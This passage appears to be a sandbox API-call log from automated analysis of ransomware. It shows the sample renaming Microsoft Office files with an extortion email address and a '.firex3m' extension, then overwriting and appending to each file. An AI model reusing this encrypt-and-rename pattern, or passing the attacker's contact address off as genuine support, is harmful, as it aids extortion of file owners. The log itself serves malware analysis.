lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0137.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17da377c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x310c, dwReserved0=0x9ec7496, dwReserved1=0x7076bf8, cFileName="BL00008_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0000~1.FIR")) returned 0x6d4f80 [0137.407] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0137.407] Sleep (dwMilliseconds=0x1) [0139.215] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx", len=0x57 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 1 [0139.215] GetProcessHeap () returned 0x630000 [0139.215] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a04) returned 0x72b0508 [0139.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0139.216] CloseHandle (hObject=0x6f4) returned 1 [0139.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0139.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0139.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb543, dwReserved0=0xf008da22, dwReserved1=0x5d006e, cFileName="Milk Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MILKGL~1.FIR")) returned 0x6d5280 [0139.218] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0139.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0139.218] GetProcessHeap () returned 0x630000 [0139.218] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0139.219] GetProcessHeap () returned 0x630000 [0139.219] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0139.219] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.219] ReadFile (in: hFile=0x6f4, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.582] GetProcessHeap () returned 0x630000 [0142.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0142.582] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.582] WriteFile (in: hFile=0x6f4, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.582] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.582] WriteFile (in: hFile=0x6f4, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.583] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.583] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.583] CloseHandle (hObject=0x6f4) returned 1 [0142.583] GetProcessHeap () returned 0x630000 [0142.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0142.584] GetProcessHeap () returned 0x630000 [0142.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0142.584] GetProcessHeap () returned 0x630000 [0142.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0142.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1aedfda7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb567, dwReserved0=0x9ec7496, dwReserved1=0x72d3510, cFileName="Milk Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MILKGL~1.FIR")) returned 0x6d5200 [0142.584] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0142.584] Sleep (dwMilliseconds=0x1) [0143.866] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD", len=0x41 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD") returned 1 [0143.866] GetProcessHeap () returned 0x630000 [0143.866] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26ac) returned 0x71f7c78 [0143.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0145.432] CloseHandle (hObject=0x6a4) returned 1 [0145.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HVACDI~1.FIR")) returned 0x6d4e00 [0147.048] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0147.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacdiff.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.048] GetProcessHeap () returned 0x630000 [0147.048] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x781) returned 0x72b1668 [0147.048] GetProcessHeap () returned 0x630000 [0147.048] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x781) returned 0x6e5368 [0147.048] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.048] ReadFile (in: hFile=0x6a4, lpBuffer=0x72b1668, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b1668*, lpNumberOfBytesRead=0x6c3ff0c*=0x760, lpOverlapped=0x0) returned 1 [0147.057] GetProcessHeap () returned 0x630000 [0147.057] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0147.057] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.057] WriteFile (in: hFile=0x6a4, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x6c3ff0c*=0x760, lpOverlapped=0x0) returned 1 [0147.057] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.057] WriteFile (in: hFile=0x6a4, lpBuffer=0x6e5ac7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5ac7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.057] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.057] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.057] CloseHandle (hObject=0x6a4) returned 1 [0147.057] GetProcessHeap () returned 0x630000 [0147.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0147.057] GetProcessHeap () returned 0x630000 [0147.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b1668 | out: hHeap=0x630000) returned 1 [0147.058] GetProcessHeap () returned 0x630000 [0147.058] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0147.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d9b1150, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7a3, dwReserved0=0x9ec7496, dwReserved1=0x72b1660, cFileName="HVACDIFF.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HVACDI~1.FIR")) returned 0x6d5000 [0147.058] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0147.058] Sleep (dwMilliseconds=0x1) [0147.105] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC", len=0x41 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC") returned 1 [0147.105] GetProcessHeap () returned 0x630000 [0147.105] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a4) returned 0x71f7c78 [0147.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.107] CloseHandle (hObject=0x6a4) returned 1 [0147.107] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_C~2.FIR")) returned 0x6d4f80 [0147.115] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0147.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.116] GetProcessHeap () returned 0x630000 [0147.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ece498 [0147.116] GetProcessHeap () returned 0x630000 [0147.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecd9f8 [0147.116] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.116] ReadFile (in: hFile=0x6a4, lpBuffer=0x6ece498, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece498*, lpNumberOfBytesRead=0x6c3ff0c*=0x260, lpOverlapped=0x0) returned 1 [0147.160] GetProcessHeap () returned 0x630000 [0147.160] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0147.160] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.160] WriteFile (in: hFile=0x6a4, lpBuffer=0x6ecd9f8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd9f8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x260, lpOverlapped=0x0) returned 1 [0147.161] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.161] WriteFile (in: hFile=0x6a4, lpBuffer=0x6ecdc57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecdc57*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.161] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.161] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.161] CloseHandle (hObject=0x6a4) returned 1 [0147.161] GetProcessHeap () returned 0x630000 [0147.161] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd9f8 | out: hHeap=0x630000) returned 1 [0147.161] GetProcessHeap () returned 0x630000 [0147.161] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece498 | out: hHeap=0x630000) returned 1 [0147.161] GetProcessHeap () returned 0x630000 [0147.161] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0147.161] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1da96143, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x6c3fd20, dwReserved1=0x6ece498, cFileName="LYNC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_C~2.FIR")) returned 0x6d4ec0 [0147.162] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0147.162] Sleep (dwMilliseconds=0x1) [0147.168] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK", len=0x49 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK") returned 1 [0147.168] GetProcessHeap () returned 0x630000 [0147.168] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x269c) returned 0x71f7c78 [0147.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.168] CloseHandle (hObject=0x6a4) returned 1 [0147.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~2.FIR")) returned 0x6d4ec0 [0147.169] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0147.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.169] GetProcessHeap () returned 0x630000 [0147.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5288 [0147.169] GetProcessHeap () returned 0x630000 [0147.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a53a8 [0147.169] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.169] ReadFile (in: hFile=0x6a4, lpBuffer=0x6a5288, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5288*, lpNumberOfBytesRead=0x6c3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.171] GetProcessHeap () returned 0x630000 [0147.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0147.171] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.171] WriteFile (in: hFile=0x6a4, lpBuffer=0x6a53a8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a53a8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.171] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.171] WriteFile (in: hFile=0x6a4, 